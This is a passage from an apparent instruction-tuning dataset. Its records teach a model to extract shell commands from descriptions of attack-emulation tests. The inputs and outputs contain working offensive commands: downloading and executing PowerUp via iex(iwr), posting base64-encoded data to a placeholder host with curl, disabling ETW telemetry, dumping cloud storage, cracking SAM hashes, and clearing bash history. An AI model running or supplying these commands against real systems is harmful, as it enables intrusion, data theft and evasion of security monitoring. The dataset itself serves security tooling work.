[\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Here's how to employ the base64 encoding technique with the command: echo -n 111-11-1111 | base64\ncurl -XPOST #{base64_data}.#{destination_url}; To post base64 encoded data, you can execute this command: echo -n 111-11-1111 | b64encode -r -\ncurl -XPOST #{base64_data}.#{destination_url}",
    "output": "{\"command_list\": [\"echo -n 111-11-1111 | base64\\ncurl -XPOST #{base64_data}.#{destination_url}\\n\", \"echo -n 111-11-1111 | b64encode -r -\\ncurl -XPOST #{base64_data}.#{destination_url}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test disables the Microsoft Powershell ETW provider, a frequent telemetry source in security solutions, by executing the built-in Windows tool with this command: cmd /c \"#{ps_exec_location}\" -accepteula -i -s cmd.exe /c logman update trace \"#{session}\" --p \"#{provider}\" -ets; The ETW feature for .NET Framework can be disabled in the Windows registry using the command: REG ADD HKLM\\Software\\Microsoft\\.NETFramework /v ETWEnabled /t REG_DWORD /d 0",
    "output": "{\"command_list\": [\"cmd /c \\\"#{ps_exec_location}\\\" -accepteula -i -s cmd.exe /c logman update trace \\\"#{session}\\\" --p \\\"#{provider}\\\" -ets\", \"REG ADD HKLM\\\\Software\\\\Microsoft\\\\.NETFramework /v ETWEnabled /t REG_DWORD /d 0\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test checks for anonymous S3 bucket access and dumps files to a local directory with the command: aws --no-sign-request s3 cp --recursive s3://#{s3_bucket_name} /tmp/#{s3_bucket_name}; To dump the contents of storage account objects from a predefined CSV file (created in test T1619 or manually with specific columns), run this command:\n$storage_account_objects = Import-Csv -Path \"#{storage_account_objects_csv_file_path}\"\n\n# Login to Azure\naz login\n\nif (-not (Test-Path -Path \"#{output_folder}\")) {\n    New-Item -ItemType Directory -Path \"#{output_folder}\"\n}\n\nforeach ($row in $storage_account_objects) {\n    \n    if ($row.FileShareName -ne \"\"){\n        $allowSharedKeyAccess = az storage account show --name $row.StorageAccountName --resource-group $row.ResourceGroup --query \"allowSharedKeyAccess\"\n\n        if ($allowSharedKeyAccess -eq \"false\") {    # $allowSharedKeyAccess could be true or null\n            Write-Output \"Shared key access is disabled for this storage account.\"\n        } else {\n            Write-Output \"Fetching content from file share: $($row.FileShareName) in storage account $($row.StorageAccountName) ...\"\n            $connectionString = az storage account show-connection-string --name $row.StorageAccountName --resource-group $row.ResourceGroup --query connectionString --output tsv\n            \n            # Create folder for storage account objects\n            $storageAccountOutputPath = Join-Path #{output_folder} \"$($row.ResourceGroup)_$($row.StorageAccountName)\"\n            if (-not (Test-Path -Path $storageAccountOutputPath)) {\n                New-Item -ItemType Directory -Path $storageAccountOutputPath\n            }\n\n            # create folder for file share content\n            $fileSharePath = Join-Path -Path $storageAccountOutputPath $row.FileShareName\n            if (-not (Test-Path -Path $fileSharePath)) {\n                New-Item -ItemType Directory -Path $fileSharePath\n            }\n            az storage file download-batch --connection-string $connectionString --source $row.FileShareName --destination $fileSharePath\n        }\n    } elseif ($row.ContainerName -ne \"\" -and $row.BlobName -eq \"\") {\n        $allowSharedKeyAccess = az storage account show --name $row.StorageAccountName --resource-group $row.ResourceGroup --query \"allowSharedKeyAccess\"\n\n        if ($allowSharedKeyAccess -eq \"false\") {    # $allowSharedKeyAccess could be true or null\n            Write-Output \"Shared key access is disabled for this storage account.\"\n        } else {\n            Write-Output \"Fetching all blobs from container $($row.ContainerName) in storage account $($row.StorageAccountName) ...\"\n            $connectionString = az storage account show-connection-string --name $row.StorageAccountName --resource-group $row.ResourceGroup --query connectionString --output tsv\n            \n            # Create folder for storage account objects\n            $storageAccountOutputPath = Join-Path #{output_folder} \"$($row.ResourceGroup)_$($row.StorageAccountName)\"\n            if (-not (Test-Path -Path $storageAccountOutputPath)) {\n                New-Item -ItemType Directory -Path $storageAccountOutputPath\n            }\n\n            # create folder for blob content\n            $containerFolderPath = Join-Path $storageAccountOutputPath $row.ContainerName\n            if (-not (Test-Path -Path $containerFolderPath)) {\n                New-Item -ItemType Directory -Path $containerFolderPath\n            }\n            az storage blob download-batch --destination $containerFolderPath --source $row.ContainerName --connection-string $connectionString\n        }\n    }\n}",
    "output": "{\"command_list\": [\"aws --no-sign-request s3 cp --recursive s3://#{s3_bucket_name} /tmp/#{s3_bucket_name}\\n\", \"$storage_account_objects = Import-Csv -Path \\\"#{storage_account_objects_csv_file_path}\\\"\\n\\n# Login to Azure\\naz login\\n\\nif (-not (Test-Path -Path \\\"#{output_folder}\\\")) {\\n    New-Item -ItemType Directory -Path \\\"#{output_folder}\\\"\\n}\\n\\nforeach ($row in $storage_account_objects) {\\n    \\n    if ($row.FileShareName -ne \\\"\\\"){\\n        $allowSharedKeyAccess = az storage account show --name $row.StorageAccountName --resource-group $row.ResourceGroup --query \\\"allowSharedKeyAccess\\\"\\n\\n        if ($allowSharedKeyAccess -eq \\\"false\\\") {    # $allowSharedKeyAccess could be true or null\\n            Write-Output \\\"Shared key access is disabled for this storage account.\\\"\\n        } else {\\n            Write-Output \\\"Fetching content from file share: $($row.FileShareName) in storage account $($row.StorageAccountName) ...\\\"\\n            $connectionString = az storage account show-connection-string --name $row.StorageAccountName --resource-group $row.ResourceGroup --query connectionString --output tsv\\n            \\n            # Create folder for storage account objects\\n            $storageAccountOutputPath = Join-Path #{output_folder} \\\"$($row.ResourceGroup)_$($row.StorageAccountName)\\\"\\n            if (-not (Test-Path -Path $storageAccountOutputPath)) {\\n                New-Item -ItemType Directory -Path $storageAccountOutputPath\\n            }\\n\\n            # create folder for file share content\\n            $fileSharePath = Join-Path -Path $storageAccountOutputPath $row.FileShareName\\n            if (-not (Test-Path -Path $fileSharePath)) {\\n                New-Item -ItemType Directory -Path $fileSharePath\\n            }\\n            az storage file download-batch --connection-string $connectionString --source $row.FileShareName --destination $fileSharePath\\n        }\\n    } elseif ($row.ContainerName -ne \\\"\\\" -and $row.BlobName -eq \\\"\\\") {\\n        $allowSharedKeyAccess = az storage account show --name $row.StorageAccountName --resource-group $row.ResourceGroup --query \\\"allowSharedKeyAccess\\\"\\n\\n        if ($allowSharedKeyAccess -eq \\\"false\\\") {    # $allowSharedKeyAccess could be true or null\\n            Write-Output \\\"Shared key access is disabled for this storage account.\\\"\\n        } else {\\n            Write-Output \\\"Fetching all blobs from container $($row.ContainerName) in storage account $($row.StorageAccountName) ...\\\"\\n            $connectionString = az storage account show-connection-string --name $row.StorageAccountName --resource-group $row.ResourceGroup --query connectionString --output tsv\\n            \\n            # Create folder for storage account objects\\n            $storageAccountOutputPath = Join-Path #{output_folder} \\\"$($row.ResourceGroup)_$($row.StorageAccountName)\\\"\\n            if (-not (Test-Path -Path $storageAccountOutputPath)) {\\n                New-Item -ItemType Directory -Path $storageAccountOutputPath\\n            }\\n\\n            # create folder for blob content\\n            $containerFolderPath = Join-Path $storageAccountOutputPath $row.ContainerName\\n            if (-not (Test-Path -Path $containerFolderPath)) {\\n                New-Item -ItemType Directory -Path $containerFolderPath\\n            }\\n            az storage blob download-batch --destination $containerFolderPath --source $row.ContainerName --connection-string $connectionString\\n        }\\n    }\\n}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For monitoring camera access, use these registry commands: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\webcam\\NonPackaged\\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f\nreg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\webcam\\NonPackaged\\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f; To crack passwords using the SAM file from Windows registry, navigate to the Hashcat directory and run this command: cd #{hashcat_exe}\\..\n#{hashcat_exe} -a 0 -m 1000 -r .\\rules\\Incisive-leetspeak.rule #{input_file_sam} #{input_file_passwords}",
    "output": "{\"command_list\": [\"reg add HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\CapabilityAccessManager\\\\ConsentStore\\\\webcam\\\\NonPackaged\\\\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f\\nreg add HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\CapabilityAccessManager\\\\ConsentStore\\\\webcam\\\\NonPackaged\\\\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f\\n\", \"cd #{hashcat_exe}\\\\..\\n#{hashcat_exe} -a 0 -m 1000 -r .\\\\rules\\\\Incisive-leetspeak.rule #{input_file_sam} #{input_file_passwords}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To explore the file system and display all files and folders, use the following command:\nls -recurse\nget-childitem -recurse\ngci -recurse\n; The system can be scanned for files with this comprehensive command block: ls -a >> #{output_file}\nif [ -d /Library/Preferences/ ]; then ls -la /Library/Preferences/ > #{output_file}; fi;\nfile */* *>> #{output_file}\ncat #{output_file} 2>/dev/null\nfind . -type f\nls -R | grep \":$\" | sed -e 's/:$//' -e 's/[^-][^\\/]*\\//--/g' -e 's^/ /' -e 's/-/|/'\nlocate *\nwhich sh\n",
    "output": "{\"command_list\": [\"ls -recurse\\nget-childitem -recurse\\ngci -recurse\\n\", \"ls -a >> #{output_file}\\nif [ -d /Library/Preferences/ ]; then ls -la /Library/Preferences/ > #{output_file}; fi;\\nfile */* *>> #{output_file}\\ncat #{output_file} 2>/dev/null\\nfind . -type f\\nls -R | grep \\\":$\\\" | sed -e 's/:$//' -e 's/[^-][^\\\\/]*\\\\//--/g' -e 's/^/ /' -e 's/-/|/'\\nlocate *\\nwhich sh\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To clear the bash history, use the following command: echo \"\" > #{history_path}\n; The bash history can be cleared with the command: cat /dev/null > #{history_path}\n",
    "output": "{\"command_list\": [\"echo \\\"\\\" > #{history_path}\\n\", \"cat /dev/null > #{history_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting 